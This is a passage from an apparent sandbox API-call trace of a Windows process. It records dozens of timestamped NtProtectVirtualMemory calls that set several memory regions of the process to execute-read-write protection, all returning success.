ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.414] 